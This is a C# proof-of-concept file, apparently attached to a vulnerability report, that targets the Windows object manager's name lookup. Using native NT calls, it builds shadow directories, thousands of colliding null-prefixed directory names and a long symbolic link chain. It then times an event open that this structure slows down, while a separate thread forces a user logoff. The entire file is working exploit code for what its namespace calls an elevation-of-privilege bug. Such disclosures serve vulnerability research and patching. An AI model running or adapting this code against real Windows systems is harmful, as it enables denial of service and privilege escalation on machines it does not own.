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Issue 924 attachment: Program.cs (18.7 KB)

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using Microsoft.Win32.SafeHandles;
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Linq;
using System.Runtime.InteropServices;
using System.Security.AccessControl;
using System.Text;
using System.Threading;

namespace PoC_ObjectManagerLookup_EoP
{
class Program
{
[Flags]
public enum AttributeFlags : uint
{
None = 0,
Inherit = 0x00000002,
Permanent = 0x00000010,
Exclusive = 0x00000020,
CaseInsensitive = 0x00000040,
OpenIf = 0x00000080,
OpenLink = 0x00000100,
KernelHandle = 0x00000200,
ForceAccessCheck = 0x00000400,
IgnoreImpersonatedDevicemap = 0x00000800,
DontReparse = 0x00001000,
}

[Flags]
public enum GenericAccessRights : uint
{
None = 0,
GenericRead = 0x80000000,
GenericWrite = 0x40000000,
GenericExecute = 0x20000000,
GenericAll = 0x10000000,
Delete = 0x00010000,
ReadControl = 0x00020000,
WriteDac = 0x00040000,
WriteOwner = 0x00080000,
Synchronize = 0x00100000,
MaximumAllowed = 0x02000000,
};

[Flags]
enum DirectoryAccessRights : uint
{
Query = 1,
Traverse = 2,
CreateObject = 4,
CreateSubDirectory = 8,
GenericRead = 0x80000000,
GenericWrite = 0x40000000,
GenericExecute = 0x20000000,
GenericAll = 0x10000000,
Delete = 0x00010000,
ReadControl = 0x00020000,
WriteDac = 0x00040000,
WriteOwner = 0x00080000,
Synchronize = 0x00100000,
MaximumAllowed = 0x02000000,
}


[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
public sealed class UnicodeString
{
ushort Length;
ushort MaximumLength;
[MarshalAs(UnmanagedType.LPWStr)]
string Buffer;

public UnicodeString(string str)
{
Length = (ushort)(str.Length * 2);
MaximumLength = (ushort)((str.Length * 2) + 1);
Buffer = str;
}
}

[DllImport("ntdll.dll")]
static extern int NtClose(IntPtr handle);

public sealed class SafeKernelObjectHandle
: SafeHandleZeroOrMinusOneIsInvalid
{
public SafeKernelObjectHandle()
: base(true)
{
}

public SafeKernelObjectHandle(IntPtr handle, bool owns_handle)
: base(owns_handle)
{
SetHandle(handle);
}

protected override bool ReleaseHandle()
{
if (!IsInvalid)
{
NtClose(this.handle);
this.handle = IntPtr.Zero;
return true;
}
return false;
}
}

public enum SecurityImpersonationLevel
{
Anonymous = 0,
Identification = 1,
Impersonation = 2,
Delegation = 3
}

public enum SecurityContextTrackingMode : byte
{
Static = 0,
Dynamic = 1
}

[StructLayout(LayoutKind.Sequential)]
public sealed class SecurityQualityOfService
{
int Length;
public SecurityImpersonationLevel ImpersonationLevel;
public SecurityContextTrackingMode ContextTrackingMode;
[MarshalAs(UnmanagedType.U1)]
public bool EffectiveOnly;

public SecurityQualityOfService()
{
Length = Marshal.SizeOf(this);
}
}

[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
public sealed class ObjectAttributes : IDisposable
{
int Length;
IntPtr RootDirectory;
IntPtr ObjectName;
AttributeFlags Attributes;
IntPtr SecurityDescriptor;
IntPtr SecurityQualityOfService;

private static IntPtr AllocStruct(object s)
{
int size = Marshal.SizeOf(s);
IntPtr ret = Marshal.AllocHGlobal(size);
Marshal.StructureToPtr(s, ret, false);
return ret;
}

private static void FreeStruct(ref IntPtr p, Type struct_type)
{
Marshal.DestroyStructure(p, struct_type);
Marshal.FreeHGlobal(p);
p = IntPtr.Zero;
}

public ObjectAttributes() : this(AttributeFlags.None)
{
}

public ObjectAttributes(string object_name, AttributeFlags attributes) : this(object_name, attributes, null, null, null)
{
}

public ObjectAttributes(AttributeFlags attributes) : this(null, attributes, null, null, null)
{
}

public ObjectAttributes(string object_name) : this(object_name, AttributeFlags.CaseInsensitive, null, null, null)
{
}

public ObjectAttributes(string object_name, AttributeFlags attributes, SafeKernelObjectHandle root, SecurityQualityOfService sqos, GenericSecurityDescriptor security_descriptor)
{
Length = Marshal.SizeOf(this);
if (object_name != null)
{
ObjectName = AllocStruct(new UnicodeString(object_name));
}
Attributes = attributes;
if (sqos != null)
{
SecurityQualityOfService = AllocStruct(sqos);
}
if (root != null)
RootDirectory = root.DangerousGetHandle();
if (security_descriptor != null)
{
byte[] sd_binary = new byte[security_descriptor.BinaryLength];
security_descriptor.GetBinaryForm(sd_binary, 0);
SecurityDescriptor = Marshal.AllocHGlobal(sd_binary.Length);
Marshal.Copy(sd_binary, 0, SecurityDescriptor, sd_binary.Length);
}
}

public void Dispose()
{
if (ObjectName != IntPtr.Zero)
{
FreeStruct(ref ObjectName, typeof(UnicodeString));
}
if (SecurityQualityOfService != IntPtr.Zero)
{
FreeStruct(ref SecurityQualityOfService, typeof(SecurityQualityOfService));
}
if (SecurityDescriptor != IntPtr.Zero)
{
Marshal.FreeHGlobal(SecurityDescriptor);
SecurityDescriptor = IntPtr.Zero;
}
GC.SuppressFinalize(this);
}

~ObjectAttributes()
{
Dispose();
}
}

public static void StatusToNtException(int status)
{
if (status < 0)
{
throw new NtException(status);
}
}

public class NtException : ExternalException
{
[DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
private static extern IntPtr GetModuleHandle(string modulename);

[Flags]
enum FormatFlags
{
AllocateBuffer = 0x00000100,
FromHModule = 0x00000800,
FromSystem = 0x00001000,
IgnoreInserts = 0x00000200
}

[DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
private static extern int FormatMessage(
FormatFlags dwFlags,
IntPtr lpSource,
int dwMessageId,
int dwLanguageId,
out IntPtr lpBuffer,
int nSize,
IntPtr Arguments
);

[DllImport("kernel32.dll")]
private static extern IntPtr LocalFree(IntPtr p);

private static string StatusToString(int status)
{
IntPtr buffer = IntPtr.Zero;
try
{
if (FormatMessage(FormatFlags.AllocateBuffer | FormatFlags.FromHModule | FormatFlags.FromSystem | FormatFlags.IgnoreInserts,
GetModuleHandle("ntdll.dll"), status, 0, out buffer, 0, IntPtr.Zero) > 0)
{
return Marshal.PtrToStringUni(buffer);
}
}
finally
{
if (buffer != IntPtr.Zero)
{
LocalFree(buffer);
}
}
return String.Format("Unknown Error: 0x{0:X08}", status);
}

public NtException(int status) : base(StatusToString(status))
{
}
}

[DllImport("ntdll.dll")]
static extern int NtCreateDirectoryObjectEx(out IntPtr Handle, DirectoryAccessRights DesiredAccess, ObjectAttributes ObjectAttributes, IntPtr ShadowDirectory, int flags);

[DllImport("ntdll.dll")]
static extern int NtOpenDirectoryObject(out IntPtr Handle, DirectoryAccessRights DesiredAccess, ObjectAttributes ObjectAttributes);

static SafeKernelObjectHandle CreateDirectory(SafeKernelObjectHandle root, string path, SafeKernelObjectHandle ShadowDirectory)
{
using (ObjectAttributes obja = new ObjectAttributes(path, AttributeFlags.CaseInsensitive, root, null, null))
{
IntPtr handle;
IntPtr shadow = ShadowDirectory != null ? ShadowDirectory.DangerousGetHandle() : IntPtr.Zero;
StatusToNtException(NtCreateDirectoryObjectEx(out handle, DirectoryAccessRights.GenericAll, obja, shadow, 0));
return new SafeKernelObjectHandle(handle, true);
}
}

[DllImport("ntdll.dll")]
static extern int NtCreateSymbolicLinkObject(
out IntPtr LinkHandle,
GenericAccessRights DesiredAccess,
ObjectAttributes ObjectAttributes,
UnicodeString DestinationName
);

static SafeKernelObjectHandle CreateSymbolicLink(SafeKernelObjectHandle directory, string path, string target)
{
using (ObjectAttributes obja = new ObjectAttributes(path, AttributeFlags.CaseInsensitive, directory, null, null))
{
IntPtr handle;
StatusToNtException(NtCreateSymbolicLinkObject(out handle, GenericAccessRights.MaximumAllowed, obja, new UnicodeString(target)));
return new SafeKernelObjectHandle(handle, true);
}
}

public sealed class DisposableList<T> : List<T>, IDisposable where T : IDisposable
{
public DisposableList()
{
}

public DisposableList(int capacity) : base(capacity)
{
}

public DisposableList(IEnumerable<T> collection) : base(collection)
{
}

#region IDisposable Support
private bool disposedValue = false;
private void Dispose(bool disposing)
{
if (!disposedValue)
{
foreach (IDisposable entry in this)
{
entry.Dispose();
}

disposedValue = true;
}
}

~DisposableList()
{
Dispose(false);
}

public void Dispose()
{
Dispose(true);
GC.SuppressFinalize(this);
}
#endregion
}

static DisposableList<SafeKernelObjectHandle> CreateDirShadow(string root_path)
{
DisposableList<SafeKernelObjectHandle> dirs = new DisposableList<SafeKernelObjectHandle>(2);
dirs.Add(CreateDirectory(null, root_path, null));
dirs.Add(CreateDirectory(dirs[0], "A", dirs[0]));
return dirs;
}

static DisposableList<SafeKernelObjectHandle> BuildSymlinks(SafeKernelObjectHandle root, string dir_name, int count, string final_target)
{
DisposableList<SafeKernelObjectHandle> links = new DisposableList<SafeKernelObjectHandle>(count);
if (count < 1)
{
throw new ArgumentException("Count must be > 0");
}

try
{
for (int i = 0; i < count - 1; ++i)
{
links.Add(CreateSymbolicLink(root, String.Format("{0}", i), String.Format(@"{0}\{1}", dir_name, i + 1)));
}
links.Add(CreateSymbolicLink(root, String.Format("{0}", count - 1), final_target));
return links;
}
catch
{
links.Dispose();
throw;
}
}

static DisposableList<SafeKernelObjectHandle> CreateCollidingEntries(SafeKernelObjectHandle root_dir, int count, string base_name)
{
DisposableList<SafeKernelObjectHandle> dirs = new DisposableList<SafeKernelObjectHandle>(count);
try
{
while (count > 0)
{
dirs.Add(CreateDirectory(root_dir, new string('\0', count) + base_name,
null));
count--;
}
}
catch
{
dirs.Dispose();
throw;
}
return dirs;
}

public enum EventType
{
NotificationEvent,
SynchronizationEvent
}

[DllImport("ntdll.dll")]
public static extern int NtCreateEvent(
out SafeKernelObjectHandle EventHandle,
GenericAccessRights DesiredAccess,
ObjectAttributes ObjectAttributes,
EventType EventType,
bool InitialState);

[DllImport("ntdll.dll")]
public static extern int NtOpenEvent(
out SafeKernelObjectHandle EventHandle,
GenericAccessRights DesiredAccess,
ObjectAttributes ObjectAttributes);

static SafeKernelObjectHandle CreateEvent(SafeKernelObjectHandle root, string name)
{
using (ObjectAttributes obja = new ObjectAttributes(name, AttributeFlags.CaseInsensitive, root, null, null))
{
SafeKernelObjectHandle ret;
StatusToNtException(NtCreateEvent(out ret, GenericAccessRights.MaximumAllowed, obja, EventType.NotificationEvent, false));
return ret;
}
}

static SafeKernelObjectHandle OpenEvent(SafeKernelObjectHandle root, string name)
{
using (ObjectAttributes obja = new ObjectAttributes(name, AttributeFlags.CaseInsensitive, root, null, null))
{
SafeKernelObjectHandle ret;
StatusToNtException(NtOpenEvent(out ret, GenericAccessRights.MaximumAllowed, obja));
return ret;
}
}

static void DoTestLinearWithShadowAndSymlinksAndCollisions(EventWaitHandle ev, int dir_count, int symlink_count, int collision_count)
{
Console.Error.WriteLine("[INFO] Building directories and symbolic links");
using (DisposableList<SafeKernelObjectHandle> dirs = CreateDirShadow(@"\BaseNamedObjects\A"))
{
using (var colliding = new DisposableList<SafeKernelObjectHandle>())
{
foreach (SafeKernelObjectHandle next_dir in dirs)
{
var new_dirs = CreateCollidingEntries(next_dir, collision_count, "A");
colliding.AddRange(new_dirs);
new_dirs.Clear();
}

using (SafeKernelObjectHandle e = CreateEvent(dirs.Last(), "B"))
{
StringBuilder builder = new StringBuilder();
builder.Append(@"\BaseNamedObjects\A\A");
for (int i = 0; i < dir_count; ++i)
{
builder.Append(@"\A");
}

using (var links = BuildSymlinks(dirs.Last(), builder.ToString(), symlink_count, builder.ToString() + @"\B"))
{
Console.Error.WriteLine("[INFO] Setup directory structure, about to open event");
ev.Set();
Stopwatch stopWatch = new Stopwatch();
stopWatch.Start();
using (SafeKernelObjectHandle e2 = OpenEvent(dirs.Last(), "0"))
{
stopWatch.Stop();
Console.WriteLine("Opened Event in {0}ms", stopWatch.ElapsedMilliseconds);
}
}
}
}
}
}

const int EWX_LOGOFF = 0;
const int EWX_FORCEIFHUNG = 0x10;

[DllImport("user32.dll")]
[return: MarshalAs(UnmanagedType.Bool)]
static extern bool ExitWindowsEx(
int uFlags,
int dwReason
);

static void LogoutThread(object ev)
{
EventWaitHandle wait = (EventWaitHandle)ev;
wait.WaitOne();
Thread.Sleep(2000);
ExitWindowsEx(EWX_FORCEIFHUNG, 0);
}

static void Main(string[] args)
{
try
{
EventWaitHandle ev = new EventWaitHandle(false, EventResetMode.AutoReset);
Thread t = new Thread(LogoutThread);
t.Start(ev);
DoTestLinearWithShadowAndSymlinksAndCollisions(ev, 16000, 63, 16000);
}
catch (Exception ex)
{
Console.WriteLine(ex);
}
}
}
}